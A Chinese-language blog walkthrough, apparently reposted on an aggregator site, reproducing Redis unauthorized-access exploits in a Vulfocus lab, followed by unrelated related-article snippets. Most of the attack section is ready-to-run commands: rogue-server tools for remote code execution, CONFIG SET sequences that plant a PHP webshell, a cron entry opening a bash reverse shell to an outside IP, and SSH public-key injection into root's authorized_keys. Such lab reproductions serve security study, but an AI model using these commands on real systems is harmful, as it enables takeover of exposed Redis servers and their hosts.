Redis未授权访问漏洞复现 CNVD-2019-21763 CNVD-2015-07557

news2024/10/7 16:15:25

CNVD-2019-21763

漏洞描述

Redis是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。 由于在Reids 4.x及以上版本中新增了模块功能,攻击者可通过外部拓展,在Redis中实现一个新的Redis命令。攻击者可以利用该功能引入模块,在未授权访问的情况下使被攻击服务器加载恶意.so 文件,从而实现远程代码执行。

漏洞复现

靶场环境

利用Vulfocus进行搭建,可以使用在线,也可以使用自己搭建。
Vulfocus在线网址

https://vulfocus.cn/#/dashboard

开启靶场

我这使用是在线Vulfocus环境开启的靶场
image.png

使用工具

https://github.com/vulhub/redis-rogue-getshell

下载好工具放到kali中,kali需要有python3的环境
解压后先进入到 RedisModulesSDK目录里面的exp目录下,make编译一下才会产生exp.so文件,后面再利用这个exp.so文件进行远程代码执行

//解压
unzip redis-rogue-getshell-master.zip

//进入目录
cd redis-rogue-getshell-master/RedisModulesSDK/exp/

//编译
make

//回到项目根目录
cd ../../

exp命令

python redis-master.py -r 目标IP -p 目标端口 -L 攻击IP -P 攻击IP的端口号 -f RedisModulesSDK/exp/exp.so -c "id"
python redis-master.py -r 123.58.224.8 -p 13647 -L 120.26.87.25 -P 9999 -f RedisModulesSDK/exp/exp.so -c "id"

image.png

CNVD-2015-07557

启动靶场

我用的是自己搭建的Vulfocu环境开启的靶场

image.png

方法一

写Webshell需得到Web路径,引起webshell的连接操作,得到权限。

利用条件

Web目录权限可读写,有web网站,不然连接不了

config set dir /tmp            #设置WEB写入目录
 
config set dbfilename 1.php    #设置写入文件名
 
set test "<?php phpinfo();?>"  #设置写入文件代码
 
bgsave                         #保存执行
 
save                           #保存执行

复现

Redis图形化工具连接
image.png

image.png

写命令,这里写的是1.php,因为网站是php语言,如果是jsp语言就改成1.jsp

config set dir /tmp            #设置WEB写入目录
 
config set dbfilename 1.php    #设置写入文件名
 
set test "<?php phpinfo();?>"  #设置写入文件代码
 
bgsave                         #保存执行
 
save                           #保存执行

image.png

来服务器上看看有没有成功
image.png

方法二

向计划任务里面写文件,实现执行

set yy "\n\n\n* * * * * bash -i >& /dev/tcp/10.8.0.6/5555 0>&1\n\n\n"

实现反弹shell

利用条件

Redis服务使用ROOT账号启动,安全模式protected-mode处于关闭状态,条件难满足

config set dir /var/spool/mail
set yy "\n\n\n* * * * * bash -i >& /dev/tcp/122.51.213.244/9999 0>&1\n\n\n"
config set dbfilename x
save

注意:centos系统会忽略乱码去执行格式正确的任务计划
而ubuntu系统并不会忽略这些乱码,所以导致命令执行失败
image.png

方法三

写入Linux ssh-key公钥
自己攻击机把密匙文件生成出来,密匙文件写到目标机器上面,再用攻击机连接目标机器就不用输入账号密码了

利用条件

Redis服务使用ROOT账号启动,安全模式protected-mode处于关闭状态
允许使用密钥登录,即可远程写入一个公钥,直接登录远程服务器

ssh-keygen -t rsa
 
cd /root/.ssh/
 
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt
 
cat key.txt | redis-cli -h 目标IP -x set xxx
 
//以上步骤在自己的攻击机器上执行
 
config set dir /root/.ssh/
 
config set dbfilename authorized_keys
 
save
 
cd /root/.ssh/
 
ssh -i id_rsa root@目标IP

自动化项目

集成上面三个测试方式 ,实战直接上这个工具就好了

https://github.com/n0b0dyCN/redis-rogue-server
python redis-rogue-server.py --rhost 目标IP --rport 目标端口 --lhost 攻击机的IP --lport 攻击机的端口

image.png

复现演示

python redis-rogue-server.py --rhost 10.8.0.1 --rport 18790 --lhost 10.8.0.6

image.png

交互shell

image.png

反弹shell
python redis-rogue-server.py --rhost 目标ip --rport 目标端口 --lhost 攻击IP --lprot 攻击端口

image.png

注意

只做学习研究,禁止做违法的事情,任何后果与本人无关!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1686749.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

redis集群不允许操作多个key解决方案、redis key负载均衡方案

前提 在cluster redis 中进行同一个命令处理不同的key会报错:CROSSSLOT Keys in request dont hash to the same slot,例如: 此示例使用sdiff 命令对pool_1与pool_2进行diff操作。 那么我们在业务场景中就需要将集群redis中的不同key进行操作,我们该如何处理呢? 本次的…

多线程(八)

一、wait和notify 等待 通知 机制 和join的用途类似,多个线程之间随机调度,引入 wait notify 就是为了能够从应用层面上,干预到多个不同线程代码的执行顺序.( 这里说的干预,不是影响系统的线程调度策略 内核里的线程调度,仍然是无序的. 相当于是在应用程序…

探秘QT 5软件开发:从零到实战的旅程

新书上架~&#x1f447;全国包邮奥~ python实用小工具开发教程http://pythontoolsteach.com/3 欢迎关注我&#x1f446;&#xff0c;收藏下次不迷路┗|&#xff40;O′|┛ 嗷~~ 目录 一、QT 5软件开发的启航 二、GUI框架比较与QT 5的选择 三、QT 5环境搭建与软件设计实战 四…

GPT-SoVITS语音克隆部署与使用

GPT-SoVITS是一款强大的少量样本语音转换与语音合成开源工具。当前&#xff0c;GPT-SoVITS实现了如下几个方面的功能&#xff1a; 由参考音频的情感、音色、语速控制合成音频的情感、音色、语速可以少量语音微调训练&#xff0c;也可不训练直接推理可以跨语种生成&#xff0c;…

Python魔法学院:PySpider篇——网络世界的探险与征服

Hi&#xff0c;我是阿佑&#xff0c;迎来到Python魔法学院&#xff0c;今天阿佑要带大家学习的是PySpider篇——一门让你在网络世界中探险与征服的魔法课程。从环境搭建到高级功能应用&#xff0c;再到性能优化&#xff0c;每一个章节都是成为数据大师的必经之路&#xff01; 文…

Ceph集群RBD块存储:快照与Copy-on-Write克隆的基本操作

文章目录 1.RBD块存储镜像克隆概念2.copy-on-write克隆的基本使用2.1.在块存储中创建一个快照2.2.将快照配置成保护模式2.3.基于快照克隆出镜像2.4.使用克隆的镜像2.5.查看一个快照下有哪些克隆的镜像 1.RBD块存储镜像克隆概念 镜像克隆官方文档&#xff1a;https://docs.ceph…

巨控无线通讯模块在煤化工皮带保护系统中的应用

一、项目介绍 近年来由于煤矿化工行业在实际生产过程中事故频发&#xff0c;国家安监部门自2022年起开展了为其三年的专项整治行动&#xff0c;皮带运输系统作为煤矿化工行业自动化系统的重要组成部分成为此次专项整治重点。 兖矿新疆能化有限公司作为山能集团在新疆分部的龙…

NoSQL Redis配置与优化

一、关系数据库与非关系型数据库 1. 关系型数据库&#xff1a; 关系型数据库是一个结构化的数据库&#xff0c;创建在关系模型&#xff08;二维表格模型&#xff09;基础上&#xff0c;一般面向于记录。 SQL 语句&#xff08;标准数据查询语言&#xff09;就是一种基于关系型…

Redis三主三从集群搭建(docker版)

文章目录 1.分布式存储算法1.哈希取余算法2.一致性哈希算法1.基本介绍2.优点1.容错性2.扩展性 3.缺点&#xff1a;数据倾斜问题 3.哈希槽分区&#xff08;大厂常用&#xff09; 2.基础环境搭建1.给六台机器都安装docker1.卸载旧版本的docker2.安装 gcc相关3.安装yum-utils软件包…

电脑连接爱快iKuai软路由之后,网卡没有正常获取到IP,无法访问爱快路由管理页?

前言 上一次咱们说到在爱快控制台上设置/辨认lan口&#xff0c;设置完成之后&#xff0c;其他的一些设置就需要在爱快iKuai软路由的管理页面上设置。 有些小伙伴会发现&#xff0c;当电脑连接上爱快软路由的lan口之后&#xff0c;电脑并没有正常获取到ip&#xff0c;导致无法访…

从零开始运行BERT的详细教程,使用MRPC数据集进行测试

1、安装anaconda环境 镜像网址:Index of /anaconda/archive/ | 清华大学开源软件镜像站 | Tsinghua Open Source Mirror 2、配置环境变量 3、创建虚拟环境 #常用命令 #创建 conda create -n xxx python3.8 #激活 conda activate xxx #删除 conda remove -n xxx --all #查看 con…

汀木云OZON选品工具,OZON跨境电商的选品利器

在竞争激烈的跨境电商市场中&#xff0c;选品是卖家们成功经营的关键之一。而汀木云OZON选品工具&#xff0c;作为OZON跨境电商的选品利器&#xff0c;以其独特的优势&#xff0c;为卖家们提供了精准、高效的选品解决方案。接下来看看汀木云OZON选品工具和萌啦OZON数据跨境OZON…

客户端Web资源缓存

为了提高Web服务器的性能,其中的一种可以提高Web服务器性能的方法就是采用缓存技术。 1.缓存 1.1.什么是缓存&#xff1f; 如果某个资源的计算耗时或耗资源&#xff0c;则执行一次并存储结果。当有人随后请求该资源时&#xff0c;返回存储的结果&#xff0c;而不是再次计算。…

以太坊(3)——智能合约

智能合约 首先明确一下几个说法&#xff08;说法不严谨&#xff0c;为了介绍清晰才说的&#xff09;&#xff1a; 全节点矿工 节点账户 智能合约是基于Solidity语言编写的 学习Solidity语言可以到WFT学院官网&#xff08;Hello from WTF Academy | WTF Academy&#xff09;…

2024电工杯数学建模选题建议及各题思路来啦!

大家好呀&#xff0c;2024电工杯数学建模竞赛开始了&#xff0c;来说一下初步的选题建议吧&#xff1a; 首先定下主基调&#xff0c; 本次电工杯建议选B。A题目难度较高&#xff0c;只建议有相关专业知识和优化经验的队伍选择&#xff0c;小白队伍无脑选B即可。是比较经典的数…

新媒体时代,LCD电子价签赋予零售场景新活力

近年来&#xff0c;全球企业迅速掀起了数字化转型的浪潮&#xff0c;加速了新零售科技的发展与应用。在实体零售门店中&#xff0c;商品货架显示逐渐趋向智能化和多样化。然而&#xff0c;在信息传播日益碎片化和视频化的时代&#xff0c;零售门店如何更有效地吸引消费者的注意…

go slice 扩容

扩容 slice 会迁移到新的内存位置&#xff0c;新底层数组的长度也会增加&#xff0c;这样就可以放置新增的元素。同时&#xff0c;为了应对未来可能再次发生的 append 操作&#xff0c;新的底层数组的长度&#xff0c;也就是新 slice 的容量是留了一定的 buffer 的。否则&…

【附带效果视频】php接口给前端返回流式数据,php使用event-stream进行数据推送,循环一次输出一次

背景&#xff1a;不分接口需要返回流式数据&#xff0c;循环一次输出一次数据 php接口给前端返回流式数据&#xff0c;循环一次输出一次 返回结果效果视频完整返回结果数据格式控制台网络内查看到的数据格式完整代码 返回结果效果视频 php接口给前端返回流式数据&#xff0c;循…

2024年 电工杯 (A题)大学生数学建模挑战赛 | 园区微电网风光储协调优化配置 | 数学建模完整代码解析

DeepVisionary 每日深度学习前沿科技推送&顶会论文&数学建模与科技信息前沿资讯分享&#xff0c;与你一起了解前沿科技知识&#xff01; 本次DeepVisionary带来的是电工杯的详细解读&#xff1a; 完整内容可以在文章末尾全文免费领取&阅读&#xff01; 问题重述…

2024 电工杯高校数学建模竞赛(A题)| 储能配置 |建模秘籍文章代码思路大全

铛铛&#xff01;小秘籍来咯&#xff01; 小秘籍团队独辟蹊径&#xff0c;运用负载均衡&#xff0c;多目标规划等强大工具&#xff0c;构建了这一题的详细解答哦&#xff01; 为大家量身打造创新解决方案。小秘籍团队&#xff0c;始终引领着建模问题求解的风潮。 抓紧小秘籍&am…